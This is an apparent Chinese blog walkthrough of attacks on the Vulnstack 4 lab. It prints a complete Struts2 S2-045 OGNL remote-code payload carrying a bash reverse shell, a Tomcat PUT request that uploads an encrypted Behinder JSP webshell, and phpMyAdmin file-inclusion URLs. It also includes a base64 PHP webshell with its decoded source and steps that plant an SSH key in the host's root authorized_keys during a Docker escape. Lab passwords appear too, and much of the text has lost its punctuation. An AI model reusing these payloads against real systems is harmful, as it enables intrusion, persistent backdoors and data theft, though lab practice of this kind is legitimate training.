一、测试环境

机域控主机DC[192.168.183.130(仅主机的183网段配置好的固定IP)]Web[(仅主机的183网段192.168.183.128配置好的固定IP);192.168.200.145(NAT网卡)]win7(仅主机的183网段192.168.183.131配置好的固定IP)。

密码信息(默认密码)

Web服务器ubuntu/ubuntu域成员主机douser/Dotest123域控主机默认密码administrator/Test2008域控主机修改后的密码Admin123456

2、注意事项

设置一个仅主机网卡网段为183每台主机的仅主机网卡使用这个即可。

设置完成三台主机即可互相ping通。

域内主机win7无法以管理员权限运行文件

提示“目前没有可用的登录服务器处理登录请求”不过仅主机网卡即可通信无伤大雅。

Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613命令如下

/home/ubuntu/Desktop/vulhub/struts2/s2-045

sudo

/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

sudo

/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

sudo

cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster

(目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)

struts

2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)

测试网址http://192.168.200.145:2001http://192.168.200.145:2002http://192.168.200.145:2003

后面两篇文章地址

4靶机的测试报告[细节]二-CSDN博客文章浏览阅读382次点赞11次收藏3次。

基于渗透测试流程渗透vulnstark

4靶场红日靶场内网渗透mimikatzmsfconsolems

14-68ms17-010永恒之蓝域内信息搜集Windows渗透域渗透Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm1001.2014.3001.5501

红日靶场vulnstark

4靶机的测试报告[细节]三-CSDN博客文章浏览阅读650次点赞21次收藏10次。

基于渗透测试流程测试vulnstark

4靶场内网渗透域渗透黄金票据权限维持Kerberos红日靶场痕迹清理清理日志krbtgt。

https://blog.csdn.net/2301_79698171/article/details/144308001?spm1001.2014.3001.5501

1、信息搜集

开启了22端口(ssh服务)、2001端口(jetty搭建的服务struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件phpmyadmin服务)

进行目录扫描

/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

php,jsp,html,txt

/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

php,jsp,html,txt

/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

php,jsp,html,txt

这个漏洞利用方式有很多手工注入、msf集成利用或者是集成工具直接利用。

检测工具地址

https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe

执行命令成功

漏洞urlhttp://192.168.200.145:2001/doUpload.action

RCEpoc

%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdid).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}

尝试抓包(提交按钮的包)修改Content-Type参数发包执行命令

执行反弹shell

bash$IFS$9-i/dev/tcp/192.168.200.131/66661

Bash

%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdbash$IFS$9-i/dev/tcp/192.168.200.131/66661).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}

在kali开启监听

exploit/multi/http/struts2_content_type_ognl

set

这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说这是直接拉的docker环境CVE-2017-12615漏洞复现)

下面就这个漏洞进行利用

修改PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容

完整数据包

text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8

Accept-Language:

zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2

Accept-Encoding:

Content-Type:application/x-www-form-urlencoded

Connection:

JSESSIONID1ld91a1s2g4bn11znldfexvfm;

phpMyAdmin2efb6ffa53fc258b51330d35976b057b;

pma_langzh_CN

importjava.util.*,javax.crypto.*,javax.crypto.spec.*%%!class

extends

super.defineClass(b,0,b.length);}}%%if

(request.getMethod().equals(POST)){String

ke45e329feb5d925b;/*ƥ:ޥ32Mmd5M16M

ؤޥrebeyond*/session.putValue(u,k);Cipher

cCipher.getInstance(AES);c.init(2,new

SecretKeySpec(k.getBytes(),AES));new

U(this.getClass().getClassLoader()).g(c.doFinal(new

sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%

发包返回值201表示成功

http://192.168.200.145:2003/index.php?targetdb_datadict.php%253f/../../../../../../../../../etc/passwd

select

执行的sql语句会先储存在临时session文件中session文件以session值来命名

结果如下

抓包查看session值phpMyAdmin的参数值就是2efb6ffa53fc258b51330d35976b057b

临时session文件名只需要加上sess_的前缀保存在tmp目录下

sess_2efb6ffa53fc258b51330d35976b057b

利用原理执行插入php木马的查询语句在任意文件包含漏洞页面包含临时session文件执行php代码。

以刚刚执行的例子中执行的php代码为例包含临时session文件发现语句被执行输出了pwd的字段。

http://192.168.200.145:2003/index.php?targetdb_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b

比如执行这样一句查询语句select

可以看到包含页面内执行php语句没有像之前一样输出pwd而是执行pwd命令回显当前目录/var/www/html

构造语句写入冰蝎木马

这个编码用php的base64_encode生成的编码不然base64代码可能用不了

完整poc

eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?

执行完毕刷新一下包含页面执行

访问http://192.168.200.145:2003/mysql.php

成功连接冰蝎

error_reporting(0);session_start();$keye45e329feb5d925b;$_SESSION[k]$key;session_write_close();$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post.);for($i0;$istrlen($post);$i)

{$post[$i]

$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,

AES128,

$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];class

C{public

{eval($p.);}}call_user_func(new

C(),$params);

容器是与物理机隔离的所以我们需要进行Docker逃逸。

Docker逃逸是指利用Docker

容器可能存在的不安全配置将获得的Docker容器权限转变为物理机权限。

Docker

内核漏洞由于Docker容器与物理机共享一个内核当该内核存在内核漏洞时在Docker

Docker

容器以特权模式启动当Docker容器是以特权模式启动时可以使用mount命令将物理机的根下。

在Docker

容器内可以通过使用cdk进行不安全配置扫描。

cdk是一个开源的Docker容器渗透工具包下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。

cdk可以检测当前Docker

容器内是否存在不安全的配置和漏洞并可以通过不安全的配置和漏洞进行Docker

①struts2应用

获取的反弹shell可以很清楚地看到是root权限后面明显是docker的id号

查找一下.dockerenv文件

.dockerenv文件是docker容器特有的文件可以确定当前服务器是一个docker容器。

靶机下载cdk并赋予执行权限运行

该命令首先会在Docker容器中的/tmp挂载到/tmp/cdk_xxxxx查看物理机的根目录

/tmp/cdk_p95Pg

将这份公钥复制到docker挂载的物理机公钥存放处使用私钥即可登录

mkdir

AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik43SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0XyRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSUsk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJOfZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmtWBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9MbshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLHERZRmE14RSn3PJKKf0

roothacker

/tmp/cdk_p95Pg/root/.ssh/authorized_keys

chmod

查看基本信息Linux系统并且用户名是docker的命名特征内核也是ubuntu14.04php版本7.2.5

find

要进行docker容器逃逸需要把获得的权限提升为管理员尝试提权

尝试脏牛漏洞提权失败

这里已经获取了web靶机的物理机root权限通过docker逃逸实现的。